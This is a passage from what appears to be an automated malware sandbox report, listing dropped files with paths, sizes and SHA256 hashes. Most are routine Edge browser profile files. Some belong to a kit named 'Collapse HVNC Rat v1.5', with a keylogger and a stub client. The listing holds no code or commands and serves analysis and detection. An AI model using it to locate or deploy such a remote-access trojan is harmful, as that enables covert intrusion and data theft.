                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 16KB
                                                                                                                                                                                                          • SHA256 2277afe17eb075b63e24ec6f51f679a9acf38e831f3c89ad156915185f126023
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 413KB
                                                                                                                                                                                                          • SHA256 eaa18e17b760a6cab69952d0e61c52ded4331c26957dd0e3455db72d23a9f45e
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Preferences
                                                                                                                                                                                                          • Size 16KB
                                                                                                                                                                                                          • SHA256 ea80d2661a547a6b6084882691b23e7e33068e57b3be0b3063bf18d9138c23fc
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Secure Preferences
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Secure Preferences
                                                                                                                                                                                                          • Size 35KB
                                                                                                                                                                                                          • SHA256 31a86ed9fb98ff253a510c199678b54e98b108ed8dfb51b55493b4cf35922118
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\61e0833a-9015-40b0-b133-223c91c25dda\index-dir\the-real-index
                                                                                                                                                                                                          • Size 72B
                                                                                                                                                                                                          • SHA256 bd27fe7b3e3a455bdbb3c1b94fd59214ccac93db391a86dbe90f89970a3a3c51
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          temp-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\66df8a2c-0415-48a2-8e44-6df6f4e1efc5\index-dir\temp-index
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 518d823501574d3a033de4fc962811c9fdfe38b1580f90d9696bc5854eca75e1
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\66df8a2c-0415-48a2-8e44-6df6f4e1efc5\index-dir\the-real-index
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 667dcb87e53a41e684e47cbb063a103774982416de560b3ef9346478073e8e41
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index~RFe5c49f1.TMP
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\66df8a2c-0415-48a2-8e44-6df6f4e1efc5\index-dir\the-real-index~RFe5c49f1.TMP
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 3246ee4d4fd707033734821724f615e73a00d06fcea99d26fbe720337218102a
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\cd214b60-1757-4355-8e54-e7ea3a786b3a\index-dir\the-real-index
                                                                                                                                                                                                          • Size 72B
                                                                                                                                                                                                          • SHA256 fedc35a53c70404dec23382de852b84f4134eda4f142edb4357ec158f8aa7f38
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\cd214b60-1757-4355-8e54-e7ea3a786b3a\index-dir\the-real-index
                                                                                                                                                                                                          • Size 72B
                                                                                                                                                                                                          • SHA256 df169dd0f71f860a415e513377a67c848d0a794e37a04162433fe6ccb6766dbf
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\db9f0443-3fe1-45e9-b7e3-ab1b99b787e8\index-dir\the-real-index
                                                                                                                                                                                                          • Size 72B
                                                                                                                                                                                                          • SHA256 45eb1ac9133f3eefd8fe98601922fa550017bd3ba10d61721056d8d29536d593
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index~RFe6503a5.TMP
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\db9f0443-3fe1-45e9-b7e3-ab1b99b787e8\index-dir\the-real-index~RFe6503a5.TMP
                                                                                                                                                                                                          • Size 48B
                                                                                                                                                                                                          • SHA256 8bb48536e352018b381cc22ee86b81c53678c05b22801b2127ddd06acc7b5327
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          index.txt
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
                                                                                                                                                                                                          • Size 327B
                                                                                                                                                                                                          • SHA256 28ed45169175c230948a8a62e25cd9f9565a487b1d35c8fe4fbb77390be6e1f1
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          index.txt
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
                                                                                                                                                                                                          • Size 322B
                                                                                                                                                                                                          • SHA256 b76ec5a7a24ce38ba3dc6f35a2eae93a2e7eebc6e54d829299a6d6a2a1504fbf
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          index.txt
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\3cedfb74d44f2e84198d23075aef16c34a668ceb\index.txt
                                                                                                                                                                                                          • Size 253B
                                                                                                                                                                                                          • SHA256 48ae2f72b60f3669896e9298136d7bf099b7e0f3b15e1e366705a2c2266935b9
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          index.txt
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
                                                                                                                                                                                                          • Size 177B
                                                                                                                                                                                                          • SHA256 26b52b06fc03cd5d010c9a4e9231b257bb19f670713adb88545e331b4b8ab720
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          index.txt
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt
                                                                                                                                                                                                          • Size 170B
                                                                                                                                                                                                          • SHA256 3f872c670b2ff720ad327bd9a8e52fabe6f1b06ef51532bbb116c9e6eb3a8034
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          index.txt~RFe63fa53.TMP
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\CacheStorage\7d571773fef4871f82ca0457379cf2a39317562f\index.txt~RFe63fa53.TMP
                                                                                                                                                                                                          • Size 114B
                                                                                                                                                                                                          • SHA256 f714e27598e4bff47b7162a627c7be2203c8a89d1edfe6ad83648d083995b3b5
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index
                                                                                                                                                                                                          • Size 72B
                                                                                                                                                                                                          • SHA256 21829acb4addcbf2b917c2bdba8b0c013c9584efdf1cdd403352f8ff560a4aa6
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          the-real-index~RFe64ad19.TMP
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Service Worker\ScriptCache\index-dir\the-real-index~RFe64ad19.TMP
                                                                                                                                                                                                          • Size 48B
                                                                                                                                                                                                          • SHA256 72e4faccd4e2bbd510a32720fbe23c37e43dcb0b3cec3c92c39e5a55fac1aca7
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          sync_diagnostic.log
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Default\Sync Data\Logs\sync_diagnostic.log
                                                                                                                                                                                                          • Size 22KB
                                                                                                                                                                                                          • SHA256 be186024fa3429b349a667fb06d50c023440b9f6410a6704eace19248df50e09
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          CloudConfigLog
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Cloud Config\CloudConfigLog
                                                                                                                                                                                                          • Size 464B
                                                                                                                                                                                                          • SHA256 71e62b5e82024fc013fc4bb98a56670e744af59a28920c71674c9724a6290df0
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          buynow_driver.js
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\buynow_driver.js
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 87339a1e25ccbbf120f294fd60333e292e1d631e785a9b205ed5beb0128c214f
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          wallet-checkout-eligible-sites.json
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-checkout-eligible-sites.json
                                                                                                                                                                                                          • Size 23KB
                                                                                                                                                                                                          • SHA256 2abefae3d72e7c4f5cdc94eb0ee552612d843a26faf4a7bd061c73839e19d7eb
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          wallet-notification-config.json
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-notification-config.json
                                                                                                                                                                                                          • Size 804B
                                                                                                                                                                                                          • SHA256 bb26ce6fe9416918e9f92fcc4a6fe8a641eceea54985356637991cf6d768f9fd
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          wallet-stable.json
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-stable.json
                                                                                                                                                                                                          • Size 81KB
                                                                                                                                                                                                          • SHA256 c1611bb1872456d5ba656cacea801b833ea43126a6ad7e43e143d52cba9d9597
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          wallet-tokenization-config.json
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\json\wallet\wallet-tokenization-config.json
                                                                                                                                                                                                          • Size 34KB
                                                                                                                                                                                                          • SHA256 0088d5ebd8360ad66bd7bcc80b9754939775d4118cb7605fc1f514c707f0e20d
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          wallet_donation_driver.js
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Edge Wallet\128.18367.18366.1\wallet_donation_driver.js
                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                          • SHA256 39a63d56be4f1ca950310f385e8a42f7bc2dcc0e49fefff306176182bfa4f0e5
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 39KB
                                                                                                                                                                                                          • SHA256 6ba80fa3dfc32079ec8a262d66d1424f9e792746f1d73e5836b4ebf463ac90ed
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 40KB
                                                                                                                                                                                                          • SHA256 6c98a4c3c190efca61a62e21674ee8a37b061b6b789abf3d97c3ee64449e1493
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 39KB
                                                                                                                                                                                                          • SHA256 7c3411bb792380081ed0fd2ed6ec2cdf72fbbb32e2ec6bdc8d062b737498c7f4
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 31KB
                                                                                                                                                                                                          • SHA256 1e3be638fc2a73e1aa755811c71524ed227ddc62761438539c20718d13fafd74
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 39KB
                                                                                                                                                                                                          • SHA256 65cf3a0a9da18b8bd9d143a182c8eb903a38e9660ed80f809619ea87b575aeca
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 39KB
                                                                                                                                                                                                          • SHA256 35e311fad68df2a26684849a17db426b84083f72436e9f401b3506e1f9bf8bb0
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 39KB
                                                                                                                                                                                                          • SHA256 31399a310bab8fb7888a2299b2c269dc2df0e113875aede6fd385553b30923a5
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 39KB
                                                                                                                                                                                                          • SHA256 755453b912512f5ccdb7d12ab65669ab5618e1af7a98e0c8276511080e053668
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 33KB
                                                                                                                                                                                                          • SHA256 1128885d0be6d5760872c9a16d9fa241458185c28d496cca6fdbae7c2973ed8a
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Local State
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Local State
                                                                                                                                                                                                          • Size 34KB
                                                                                                                                                                                                          • SHA256 cba8d319491983b028ba47d9e793bc0c91f8de175f946cc77a1c01ebf9cbd473
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          RevisitationBloomfilter
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
                                                                                                                                                                                                          • Size 392B
                                                                                                                                                                                                          • SHA256 78482fa6dbbd3ad7ff4927abeefd43601db1c452848720f808479c4624c94727
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          RevisitationBloomfilter
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
                                                                                                                                                                                                          • Size 392B
                                                                                                                                                                                                          • SHA256 4ff30c18f65edb751f27411770b6142d1263d9cfc1ecdf5348e622f2d41e9ed1
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          RevisitationBloomfilter
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
                                                                                                                                                                                                          • Size 392B
                                                                                                                                                                                                          • SHA256 5002ca229834646095abe04758becd80f4dcfc73eedb4ebe6120c8befc59a585
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          RevisitationBloomfilter
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter
                                                                                                                                                                                                          • Size 392B
                                                                                                                                                                                                          • SHA256 e1a79ebf1bb3a82a7334cb98046b400776859b48ca057b6dba30d4b1cd7ebd0e
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          RevisitationBloomfilter~RFe5c59ff.TMP
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\RevisitationBloomfilter~RFe5c59ff.TMP
                                                                                                                                                                                                          • Size 392B
                                                                                                                                                                                                          • SHA256 1bad43c308f7bb9506eee3ae514d69dc922bac5d0e92a1e9529aa60573ded25f
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Ruleset Data
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Indexed Rules\36\10.34.0.81\Ruleset Data
                                                                                                                                                                                                          • Size 3.5MB
                                                                                                                                                                                                          • SHA256 ad506d85462accaac35068e71641814a593595cfe60657309ded18ebc2874e9d
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Filtering Rules
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.81\Filtering Rules
                                                                                                                                                                                                          • Size 2.1MB
                                                                                                                                                                                                          • SHA256 5e301c48e6d7290990971e9f0bcb2263c8adba06ed0a2c6db5086949825d999b
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          LICENSE
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Subresource Filter\Unindexed Rules\10.34.0.81\LICENSE
                                                                                                                                                                                                          • Size 24KB
                                                                                                                                                                                                          • SHA256 ed0f972d56566a96fb2f128a7b58091dfbf32dc365b975bc9318c9701677f44d
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          typosquatting_list.pb
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\Edge\User Data\Typosquatting\2025.12.16.3\typosquatting_list.pb
                                                                                                                                                                                                          • Size 1.4MB
                                                                                                                                                                                                          • SHA256 0e550277e89fc54660760c5a5e11bb6a1ed47d5c5626612cb3ccd5229262fe5e
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres
                                                                                                                                                                                                          • Size 2KB
                                                                                                                                                                                                          • SHA256 8eb843613c90f46ce8599f5a063c3f94b29b10962d112e7a06cee7e80d09deba
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          AppCache134103590943372314.txt.~tmp
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Packages\Microsoft.Windows.Search_cw5n1h2txyewy\LocalState\DeviceSearchCache\AppCache134103590943372314.txt.~tmp
                                                                                                                                                                                                          • Size 85KB
                                                                                                                                                                                                          • SHA256 101bb30524239e7caf5e6612dd854c8fa60df26bf8f546934522c5ebfd7faadc
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Collapse HVNC Rat v1.5.exe
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\7zOCF4CC638\Collapse HVNC Rat v1.5.exe
                                                                                                                                                                                                          • Size 27.4MB
                                                                                                                                                                                                          • SHA256 00f9d3d41d19e3c68694a79d172f38f0e599b842af09d83888a214c459dd5528
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          rabu.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Local\Temp\cfc2779c-9fe3-4191-82c0-a58f8bfc5000\rabu.dll
                                                                                                                                                                                                          • Size 94KB
                                                                                                                                                                                                          • SHA256 fb9646cb956945bdc503e69645f6b5316d3826b780d3c36738d6b944e884d15b
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          default.dic
                                                                                                                                                                                                          • Path C:\Users\Admin\AppData\Roaming\Microsoft\Spelling\en-US\default.dic
                                                                                                                                                                                                          • Size 2B
                                                                                                                                                                                                          • SHA256 b3d510ef04275ca8e698e5b3cbb0ece3949ef9252f0cdc839e9ee347409a2209
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Client.exe
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Client.exe
                                                                                                                                                                                                          • Size 64KB
                                                                                                                                                                                                          • SHA256 622bfa627c412aa9d89d42ca103c80242a5d7389e21c5d3a78f66c49b83344c9
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          BouncyCastle.Crypto.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\BouncyCastle.Crypto.dll
                                                                                                                                                                                                          • Size 3.2MB
                                                                                                                                                                                                          • SHA256 e51721dc0647f4838b1abc592bd95fd8cb924716e8a64f83d4b947821fa1fa42
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Collapse HVNC Rat v1.5.exe.config
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Collapse HVNC Rat v1.5.exe.config
                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                          • SHA256 a3ff6fdc656bb0a36df5e3da671cc649dc57a38cd8b9b0063c547bfd58b0c650
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          DevExpress.WinRTPresenter.Launcher.exe
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\DevExpress.WinRTPresenter.Launcher.exe
                                                                                                                                                                                                          • Size 13KB
                                                                                                                                                                                                          • SHA256 76a868948e5b4df73f5dab5606135f6bf10b598bdaa991737224edcb8fdd58db
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          DiscordRPC.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\DiscordRPC.dll
                                                                                                                                                                                                          • Size 82KB
                                                                                                                                                                                                          • SHA256 0083db1250991e06ca30017c7574921463920681e8f42ed1b2fcdada1515326c
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Guna.UI2.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Guna.UI2.dll
                                                                                                                                                                                                          • Size 1.9MB
                                                                                                                                                                                                          • SHA256 952fa59d3d6d8c8c5fad8a1144e5effdf0fa92d58db1fb2a2899faf84c6273ab
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          IP2Region.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\IP2Region.dll
                                                                                                                                                                                                          • Size 13KB
                                                                                                                                                                                                          • SHA256 b0c2a6951dae794c210fbe68d7f42081e5da0f7cbb926cf986c3d453f9920f37
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Keylogger.exe
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Keylogger.exe
                                                                                                                                                                                                          • Size 10KB
                                                                                                                                                                                                          • SHA256 b2a992052d32a5b9d3702350b133289b45a8d209acd0161d9c3b0bc6fd702b3c
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Newtonsoft.Json.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Newtonsoft.Json.dll
                                                                                                                                                                                                          • Size 695KB
                                                                                                                                                                                                          • SHA256 c5c83bbc1741be6ff4c490c0aee34c162945423ec577c646538b2d21ce13199e
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          ServerCertificate.p12
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\ServerCertificate.p12
                                                                                                                                                                                                          • Size 1KB
                                                                                                                                                                                                          • SHA256 74eba079b36c835cd89af395cf53272c53351cd851efb140a8152410c4e2973e
                                                                                                                                                                                                          • MD5 SHA1 SHA512
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Siticone.Desktop.UI.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Siticone.Desktop.UI.dll
                                                                                                                                                                                                          • Size 4.0MB
                                                                                                                                                                                                          • SHA256 21eecaf504b7fe787a45f4aa8f8f36dacfc3ab1d75624dfb41827cdef2a9a589
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Client.exe
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Stub\Client.exe
                                                                                                                                                                                                          • Size 59KB
                                                                                                                                                                                                          • SHA256 ff1593d664038b0c727f5a4772980f3dee659d315bbbf1b62b27c12696b42109
                                                                                                                                                                                                          • MD5 SHA1 SHA512 SSDEEP
                                                                                                                                                                                                          Submit Download

                                                                                                                                                                                                          Vestris.ResourceLib.dll
                                                                                                                                                                                                          • Path C:\Users\Admin\Downloads\Collapse HVNC Rat v1.5\Vestris.ResourceLib.dll
                                                                                                                                                                                                          • Size 76KB
